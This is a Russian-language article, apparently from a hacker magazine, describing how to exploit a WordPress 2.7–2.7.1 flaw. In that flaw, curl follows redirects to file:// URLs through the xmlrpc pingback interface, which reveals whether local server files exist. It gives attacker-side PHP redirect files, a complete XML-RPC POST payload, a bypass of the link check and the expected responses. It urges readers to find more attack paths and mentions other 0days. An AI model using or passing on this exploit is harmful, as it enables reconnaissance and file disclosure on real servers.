8. WordPress curl information disclosure (2.7<=WordPress<=2.7.1)
Представляю твоему вниманию очередную уязвимость WordPress (найденную не без помощи Электа), которая заключается в проверке существования любого файла на уязвимом блоге. Подвержены все версии движка, начиная с 2.7.
Для начала нужно сказать, что это не совсем уязвимость вордпресса, а, скорее, фича curl, php-библиотеку которого как раз и юзает WordPress вместо ушедшего в небытие Snoopy.
Итак, уязвимость курла заключается в том, что он с радостью может прочитать для тебя не только удаленные файлы по http, но и локальные с помощью префикса "file://"! Но, как правило, префиксы проверяются скриптами еще на входе, так что, казалось бы, "file://" заюзать невозможно. Однако, никто не подумал о том, что curl поддерживает переадресацию с помощью флага "CURLOPT_FOLLOWLOCATION". То есть, подставив курлу вполне обычный http, на выходе мы можем получить чтение произвольного локального файла (подробное advisory от первооткрывателя ищи в сносках)! В вордпрессе множество файлов юзают класс ./wp-includes/http.php, но сейчас мы рассмотрим лишь один из наиболее доступнных pre-auth способов эксплуатациии баги (найти другие способы в админке - твое домашнее задание

Для начала рассмотрим некоторые особенно важные для эксплуатации бага куски кода в последней версии вордпресса (2.7.1):
1. ./wp-includes/http.php
Код:
class WP_Http_Curl {
function request($url, $args = array()) {
if ( !ini_get('safe_mode') && !ini_get('open_basedir') )
curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, true );
Да-да! Ты видишь тот самый флаг, отвечающий за поддержку редиректа!
Дальше опустим некоторый заумный код, но скажу лишь, что по дефолту (всего возможны 4 варианта) в качестве транспорта http данных вордпресс выбирает курл:
Код:
function wp_remote_get($url, $args = array()) {
$objFetchSite = _wp_http_get_object();
return $objFetchSite->get($url, $args);
}
2. Функция, приведенная выше, используется в ./wp-includes/functions.php:
Код:
function wp_remote_fopen( $uri ) {
...
$response = wp_remote_get( $uri, $options );
...
}
3. И, наконец, эта же функция используется в уже полюбившемся тебе интерфейсе xmlrpc:
Код:
function pingback_ping($args) {
...
$pagelinkedfrom = $args[0];
$pagelinkedto = $args[1];
...
// Let's check the remote site
$linea = wp_remote_fopen( $pagelinkedfrom );
...
Теперь у нас есть все необходимое для написания эксплойта, к чему мы сейчас и приступим

Как ты уже понял, действовать мы будем через механизм пингбэков, про который я уже неоднократно рассказывал в предыдущих номерах ][.
Для работы нам понадобятся 2 файла, доступных по http. Например, такие: http://lamer.com/ping1/index.php и http://lamer.com/ping2/index.php.
А теперь, предположив, что адрес нашего блога lamer.com/blog и что тестовым стендом является винда, начнем работу над необходимыми файлами:
1. ./ping1/index.php
Код:
<?php
header("<title>Exploit</title><a href="http://lamer.com/ping2/?p=1#lamer.com/blog">Curl</a>");
header("Location: file:///c:\boot.ini", 302);
?>
2. ./ping2/index.php
Код:
<a href="http://lamer.com/ping1/?p=2">Ping2</a>
В этом примере первый файл сможет пропинговать второй благодаря еще одной недоработке вордпресса. Смотри в механизм пингов xmlrpc.php:
Код:
// Check if the page linked to is in our site
$pos1 = strpos($pagelinkedto, str_replace(array('http://www.','http://','https://www.','https://'), '', get_option('home')));
if( !$pos1 )
return new IXR_Error(0, __('Is there no link to us?'));
В этой проверке не нужно, чтобы второй пингуемый сайт обязательно был текущим блогом, так как мы можем обойти проверку, вставив адрес этого самого блога, например, в конце URL после решетки.
Теперь у нас все готово для проверки наличия файла c:\boot.ini на тестируемой системе

Для эксплуатации уязвимости тебе необходимо лишь послать следующий POST-пакет для сервера xmlrpc:
Код:
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://lamer.com/ping1/?p=2</string></value></param>
<param><value><string>http://lamer.com/ping2/?p=[ИД_СУЩЕСТВУЮЩЕГО_ПОСТА_НА_БЛОГЕ]#lamer.com/blog</string></value></param>
</params>
</methodCall>
После отсылки пакета ты сможешь получить 2 ответа от сервера:
1. Если файл c:\boot.ini существует, то блог пришлет такой ответ
Pingback from http://lamer.com/ping1/?p=2 to http://lamer.com/ping2/?p=1#lamer.com/blog registered. Keep the web talking! :-)
2. Если же такого файла нет, то жди такого ответа
The source URL does not exist.
Кстати, этим способом вполне было бы возможно прочитать содержимого любого файла системы, если бы пингбэк не урезался до очень малого количества символов. Так что в комментарии-пингбэке ты увидишь всего лишь что-то вроде этого:
[...] Server: Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4 X-Powered-By: PHP/5.2.4 popa: 111 Location: file:///c:boot.ini Content-Length: 0 Connection: close Content-Type: text/html; [...]
Содержимое c:\boot.ini остается где-то под катом

Описанный способ эксплуатации данной уязвимости не является единственным. В админке ты сможешь найти и другие вызовы функции wp_get_http(), которые и позволят тебе читать файлы на системе. Найти их - уже твоя задача
----
З.Ы. Спасибо Elekt за то, что навел меня на эту уязвимость)
З.З.Ы. На сегодняшний день в WordPress 2.7.1-2.8beta2, кроме описанных выше, есть еще, по крайней мере, 2 серьезнейшие 0day уязвимости)